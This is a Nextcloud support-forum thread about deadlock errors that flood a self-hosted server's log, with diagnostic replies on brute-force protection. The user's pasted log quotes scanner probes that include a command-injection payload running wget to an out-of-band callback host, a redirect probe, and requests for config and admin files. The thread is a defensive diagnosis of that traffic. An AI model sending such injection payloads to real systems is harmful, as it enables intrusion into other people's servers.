# Error in NC Logs: "An exception occurred while executing a query: SQLSTATE\[40001\]: Serialization failure: 1213 Deadlock found

**URL:** <https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848>\
**Category:** ℹ️ Support\
**Tags:** hosting, nc33\
**Created:** [July 11, 2026, 1:49pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848 "2026-07-11T13:49:29Z")\
**Posts on this page:** 7\
**Page:** 1

<div class="post-metadata">

**Author:** ![markusd112](https://help.nextcloud.com/letter_avatar/markusd112/32/6_22734026db12803ebb3e059622ac3534.png) [@markusd112](https://help.nextcloud.com/u/markusd112)\
**Post date:** [July 11, 2026, 1:49pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/1 "2026-07-11T13:49:29Z")

</div>

> **Support intro**
>
> ## Sorry to hear you’re facing problems. 🙁
> 
> _The community help forum ([help.nextcloud.com](http://help.nextcloud.com)) is for home and non-enterprise users. Support is provided by other community members on a best effort / “as available” basis. All of those responding are **volunteering their time to help you.** _
> 
> **If you’re using Nextcloud in a business/critical setting, paid and SLA-based support services can be accessed via [portal.nextcloud.com](http://portal.nextcloud.com) where Nextcloud engineers can help ensure your business keeps running smoothly.**
> 
> ## Getting help
> 
> In order to help you as efficiently (and quickly!) as possible, please fill in as much of the below requested information as you can.
> 
> **Before clicking submit** : Please check if your query is already addressed via the following resources:
> 
> - [Official documentation](https://docs.nextcloud.com) (searchable and regularly updated)
> - [How to topics and FAQs](https://help.nextcloud.com/c/how-to-faqs/9)
> - [Forum search](https://help.nextcloud.com/search)
> 
> (Utilizing these existing resources is typically faster. It also helps reduce the load on our generous volunteers while elevating the signal to noise ratio of the forums otherwise arising from the same queries being posted repeatedly).

Some or all of the below information will be requested if it isn’t supplied; for fastest response please provide as much as you can. ❤

## The Basics

- Nextcloud Server version _(e.g., 29.x.x)_:
  - `33.0.6`

- Operating system and version _(e.g., Ubuntu 24.04)_:
  - `Ubuntu 24.04.4 LTS`

- Web server and version _(e.g, Apache 2.4.25)_:
  - `Apache2 2.4.58`

- Reverse proxy and version \_(e.g. nginx 1.27.2)
  - `no reverse proxy`

- PHP version _(e.g, 8.3)_:
  - `8.4`

- Is this the first time you’ve seen this error? (Yes / No):
  - `Yes`

- When did this problem seem to first start?
  - `after migrating to a vserver environment`

- Installation method _(e.g. AlO, NCP, Bare Metal/Archive, etc.)_
  - `Nextcloud Image from Hetzner`

- Are you using CloudfIare, mod\_security, or similar? _(Yes / No)_
  - `No`

### Summary of the issue you are facing:

The log is flooded nearly daily with several same log entries:

OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56

### Log entries

#### Nextcloud

Please provide the log entries from your Nextcloud log that are generated during the time of problem (via the _Copy raw_ option from _Administration settings-\>Logging_ screen or from your `nextcloud.log` located in your data directory). Feel free to use a pastebin/gist service if necessary.

```auto
{"reqId":"2xJpNJuUM7VLr1ecZ8Jg","level":3,"time":"2026-07-12T07:40:17+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/wp-content/plugins/ml-slider/readme.txt","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"Lu0ZdosRSzKoGpm88icj","level":3,"time":"2026-07-12T07:40:18+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/manager/html","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"APJOXi0qFkflAGtKSMaX","level":3,"time":"2026-07-12T07:40:20+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=http://[::]:80@oast.me","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (SS; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"7aUNOeRqbUX6hBjQWrYo","level":3,"time":"2026-07-12T07:40:23+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/CertEnroll/","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"fZtALU0QfjQ29woRXFVO","level":3,"time":"2026-07-12T07:40:28+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o&ylabel&xrange=10:10&yrange=[33:system(%27wget%20http://d99k9kq6sujh3429r91ginbukrnqtdnkf.oast.fun%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"xbWBDoGskV8IAlaARlL9","level":3,"time":"2026-07-12T07:40:30+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/admin_access.txt","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"KRjIy1relmxoFM3o75RX","level":3,"time":"2026-07-12T07:40:33+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/PMUser/","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Macintosh Intel Mac OS X 10.15 rv:91.0) Gecko/20100101 Firefox/91.0;","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"Az8dFK55aWpcjZl7kDMF","level":3,"time":"2026-07-12T07:40:34+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/mysql_config.ini","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}

```

#### Web Browser

If the problem is related to the Web interface, open your browser inspector _Console_ and _Network_ tabs while refreshing (reloading) and reproducing the problem. Provide any relevant output/errors here that appear.

```auto
PASTE

```

#### Web server / Reverse Proxy

The output of your Apache/nginx/system log in `/var/log/ ____ `:

```auto
PASTE HERE

```

### Configuration

#### Nextcloud

The output of `occ config:list system` or similar is best, but, if not possible, the contents of your `config.php` file from `/path/to/nextcloud` is fine (make sure to remove any identifiable information!):

```auto
{
    "system": {
        "instanceid": " ***REMOVED SENSITIVE VALUE***",
        "passwordsalt": " ***REMOVED SENSITIVE VALUE***",
        "secret": " ***REMOVED SENSITIVE VALUE***",
        "trusted_domains": [
            "mydomain.com",
        ],
        "maintenance_window_start": "1",
        "datadirectory": " ***REMOVED SENSITIVE VALUE***",
        "dbtype": "mysql",
        "version": "33.0.6.2",
        "overwrite.cli.url": "https:\/\/mydomain.com",
        "dbname": " ***REMOVED SENSITIVE VALUE***",
        "dbhost": " ***REMOVED SENSITIVE VALUE***",
        "dbport": "",
        "dbtableprefix": "",
        "mysql.utf8mb4": true,
        "dbuser": " ***REMOVED SENSITIVE VALUE***",
        "dbpassword": " ***REMOVED SENSITIVE VALUE***",
        "installed": true,
        "tempdirectory": "\/var\/www\/html\/data\/tmp",
        "mail_smtpmode": "smtp",
        "mail_sendmailmode": "pipe",
        "mail_from_address": " ***REMOVED SENSITIVE VALUE***",
        "mail_domain": " ***REMOVED SENSITIVE VALUE***",
        "default_phone_region": "DE",
        "maintenance": false,
        "theme": "",
        "loglevel": 3,
        "mail_smtphost": " ***REMOVED SENSITIVE VALUE***",
        "mail_smtpport": "587",
        "mail_smtpauth": true,
        "mail_smtpname": " ***REMOVED SENSITIVE VALUE***",
        "mail_smtppassword": " ***REMOVED SENSITIVE VALUE***",
        "serverid": 1,
        "log_rotate_size": 104857600,
        "app_install_overwrite": [],
        "mail_smtpstreamoptions": {
            "ssl": {
                "allow_self_signed": false,
                "verify_peer": true,
                "verify_peer_name": true
            }
        }
    }
}

```

#### Apps

The output of `occ app:list` (if possible).

Enabled:

- activity: 6.0.0
- bookmarks: 16.2.2
- bruteforcesettings: 6.0.0
- calendar: 6.5.0
- circles: 33.0.0
- cloud\_federation\_api: 1.17.0
- comments: 1.23.0
- contacts: 8.7.3
- contactsinteraction: 1.14.1
- cookbook: 0.11.8
- dashboard: 7.13.0
- dav: 1.36.0
- deck: 1.17.4
- drawio: 4.2.5
- federatedfilesharing: 1.23.0
- federation: 1.23.0
- files: 2.5.0
- files\_downloadlimit: 5.1.0
- files\_pdfviewer: 6.0.0
- files\_reminders: 1.6.0
- files\_sharing: 1.25.2
- files\_trashbin: 1.23.0
- files\_versions: 1.26.0
- firstrunwizard: 6.0.0
- logreader: 6.0.0
- lookup\_server\_connector: 1.21.0
- notes: 6.0.1
- notifications: 6.0.0
- oauth2: 1.21.0
- password\_policy: 5.0.0
- photos: 6.0.0
- profile: 1.2.0
- provisioning\_api: 1.23.0
- recommendations: 6.0.0
- related\_resources: 4.0.0
- settings: 1.16.0
- sharebymail: 1.23.0
- systemtags: 1.23.0
- tasks: 0.18.1
- text: 7.0.1
- theming: 2.8.0
- twofactor\_backupcodes: 1.22.0
- twofactor\_totp: 15.0.0
- updatenotification: 1.23.0
- user\_migration: 10.4.0
- user\_status: 1.13.0
- viewer: 6.0.0
- weather\_status: 1.13.0
- webhook\_listeners: 1.5.0
- whiteboard: 1.5.9
- workflowengine: 2.15.0

Disabled:

- admin\_audit: 1.23.0
- app\_api: 33.0.0 (installed 32.0.0)
- encryption: 2.21.0
- files\_external: 1.25.1
- files\_rightclick: 0.15.1 (installed 1.6.0)
- nextcloud\_announcements: 5.0.0 (installed 4.0.0)
- polls: 9.1.4 (installed 9.1.4)
- privacy: 5.0.0 (installed 4.0.0)
- quota\_warning: 1.24.0 (installed 1.24.0)
- richdocuments: 10.2.1 (installed 10.2.1)
- richdocumentscode: 26.4.104 (installed 26.4.104)
- serverinfo: 5.0.0 (installed 4.0.0)
- support: 5.0.0 (installed 4.0.0)
- survey\_client: 5.0.0 (installed 4.0.0)
- suspicious\_login: 11.0.0 (installed 7.0.0)
- twofactor\_nextcloud\_notification: 7.0.0
- user\_ldap: 1.24.0

### Tips for increasing the likelihood of a response

- Use the `preformatted text` formatting option in the editor for all log entries and configuration output.
- If screenshots are useful, feel free to include them.
  - If possible, also include key error output in text form so it can be searched for.

- Try to edit log output only minimally (if at all) so that it can be ran through analyzers / formatters by those trying to help you.

---

<div class="post-metadata">

**Author:** ![sambilanet](https://help.nextcloud.com/user_avatar/help.nextcloud.com/sambilanet/32/57486_2.png) [@sambilanet](https://help.nextcloud.com/u/sambilanet)\
**Post date:** [July 11, 2026, 3:40pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/2 "2026-07-11T15:40:57Z")

</div>

Hi , no so much information here.  
Maybe you search elder articles like:

> [@Cannot delete or rename folders](https://help.nextcloud.com/t/cannot-delete-or-rename-folders/9325/18):
>
> Hi people After all I did not found any long term solution. I have these sync issues and errors since more than 2 years now, no matter which Owncloud or Nextcloud Version. It affects only big customers with redis cache active. My workaround at the moment is to run a daily cronjob during the night, performing these steps: occ ‘files:scan --all’ occ ‘files:cleanup’ occ ‘maintenance:mode --on’ mysql -u root -p’inheregoesyourpassword’ -D ocdb -e ‘delete from oc\_file\_locks where 1’ occ ‘maintenanc…

With this error messages included or share some more information?

Kind regards

---

<div class="post-metadata">

**Author:** ![jtr](https://help.nextcloud.com/letter_avatar/jtr/32/6_22734026db12803ebb3e059622ac3534.png) [@jtr](https://help.nextcloud.com/u/jtr)\
**Post date:** [July 11, 2026, 4:55pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/3 "2026-07-11T16:55:26Z")

</div>

> [@markusd112](#):
>
> Please provide the log entries from your Nextcloud log that are generated during the time of problem (via the _Copy raw_ option from _Administration settings-\>Logging_ screen or from your `nextcloud.log` located in your data directory).

As stated above in the [support template](https://help.nextcloud.com/t/support-template-please-use-this-when-you-request-support/137402) we need the full log entry (the full stack trace).

Also config and apps would be useful to as also noted in the template.

What database backend are you using and what database version?

---

<div class="post-metadata">

**Author:** ![markusd112](https://help.nextcloud.com/letter_avatar/markusd112/32/6_22734026db12803ebb3e059622ac3534.png) [@markusd112](https://help.nextcloud.com/u/markusd112)\
**Post date:** [July 12, 2026, 9:48am UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/4 "2026-07-12T09:48:08Z")

</div>

Sorry, I have sent only error log, I have added now full log for the relevant log entries. It seems that brute force attempts causing the error messages. It looks like attackers are scanning my site for vulnerabilities and specifically accessing certain URLs (e.g., for various WordPress plugins).

I am using MySQL 8.0.46.

Best regards,

Markus

---

<div class="post-metadata">

**Author:** ![scubamuc](https://help.nextcloud.com/user_avatar/help.nextcloud.com/scubamuc/32/63165_2.png) [@scubamuc](https://help.nextcloud.com/u/scubamuc)\
**Post date:** [July 13, 2026, 12:26pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/5 "2026-07-13T12:26:46Z")

</div>

@markusd112 for posterity, you can check whether it was your external IP causing brute-force throttling, or whether it was an external malicious attempt, on OS-level check:

```auto
# lastb

btmp begins Wed Jul 1 00:00:41 2026

```

> [@markusd112](#):
>
> It seems that brute force attempts causing the error messages. It looks like attackers are scanning my site for vulnerabilities and specifically accessing certain URLs (e.g., for various WordPress plugins).

# Managing security brute force protection and throttling in Nextcloud

> Nextcloud has built-in protection against brute force attempts.

> The brute force protection feature is meant to protect Nextcloud servers from attempts to guess passwords and tokens in various ways. Besides the obvious “let’s try a big list of commonly used passwords” attack, it also makes it harder to use slightly more sophisticated attacks via the reset password page or trying to find app password tokens. It is used throughout the Nextcloud ecosystem, including by other apps, if they have sensitive entry points (and choose to enable support for it).

See [Brute force protection — Nextcloud 35 Administration Manual](https://docs.nextcloud.com/server/latest/admin_manual/configuration_server/bruteforce_configuration.html)

You may be testing something and would like to reset the logged attempts and are **absolutely sure** , that it is **your** external IP address being throttled! Double check in your logs.

List logged brute force attempts from **your** external IP address:

```auto
occ security:bruteforce:attempts <your.external.ip.address>

```

This will display the number of brute force attempts from **your** external IP address.

```auto
  - bypass-listed: false
  - attempts: 13
  - delay: 25000

```

Reset brute force attempts:

```auto
occ security:bruteforce:reset <your.external.ip.address>

```

## Whitelisting

You may consider whitelisting an IP range if you have a static IPv4 address but this is usually not necessary.

## Reverse proxies

> [Brute force protection and load balancers/reverse proxies](https://docs.nextcloud.com/server/latest/admin_manual/configuration_server/bruteforce_configuration.html#brute-force-protection-and-load-balancers-reverse-proxies)

> If you are behind a reverse proxy or load balancer it is important you make sure it is setup properly. Especially `trusted_proxies` and `forwarded_for_headers` need to be set correctly. Otherwise it can happen that Nextcloud actually starts throttling all traffic coming from the reverse proxy or load balancer. For more information see [Reverse proxy](https://docs.nextcloud.com/server/latest/admin_manual/configuration_server/reverse_proxy_configuration.html).

---

<div class="post-metadata">

**Author:** ![markusd112](https://help.nextcloud.com/letter_avatar/markusd112/32/6_22734026db12803ebb3e059622ac3534.png) [@markusd112](https://help.nextcloud.com/u/markusd112)\
**Post date:** [July 13, 2026, 2:43pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/6 "2026-07-13T14:43:50Z")

</div>

Thanks for the hints. In the moment there are no brute force attacks on NC itself. They are trying several URLs (e.g. some Wordpress URLs and other special software related URLs) trying to find some vulnerabilities. There are no attempts to brute force the NC login itself, there are no attempts logged. I have activated the geofilter blocker app in NC to permit only logins from my region, but to prevent attacks like I see in the logs, I should do a geo IP filtering on OS level, that would be the next step. In the moment the attacks don’t affect the availability of NC itself, so I currently have no problem, except the mentioned log entries in NC log.

---

<div class="post-metadata">

**Author:** ![jtr](https://help.nextcloud.com/letter_avatar/jtr/32/6_22734026db12803ebb3e059622ac3534.png) [@jtr](https://help.nextcloud.com/u/jtr)\
**Post date:** [July 13, 2026, 5:16pm UTC](https://help.nextcloud.com/t/error-in-nc-logs-an-exception-occurred-while-executing-a-query-sqlstate-40001-serialization-failure-1213-deadlock-found/246848/7 "2026-07-13T17:16:19Z")

</div>

The deadlock message is well understood, but the root cause in a given situation depends on a lot on other things.

I wouldn’t expect this to occur with random requests to invalid URLs that happen to flow through the Nextcloud entry points.

Are those log entries correlated with/interlaced with log entries from the geoblock app? Or, similarly, are there other matching entries with the same request IDs?

Also, does the problem go away if you disable the geoblocker app?

Might also be further details at a default log level (`2`) rather than (`3`).
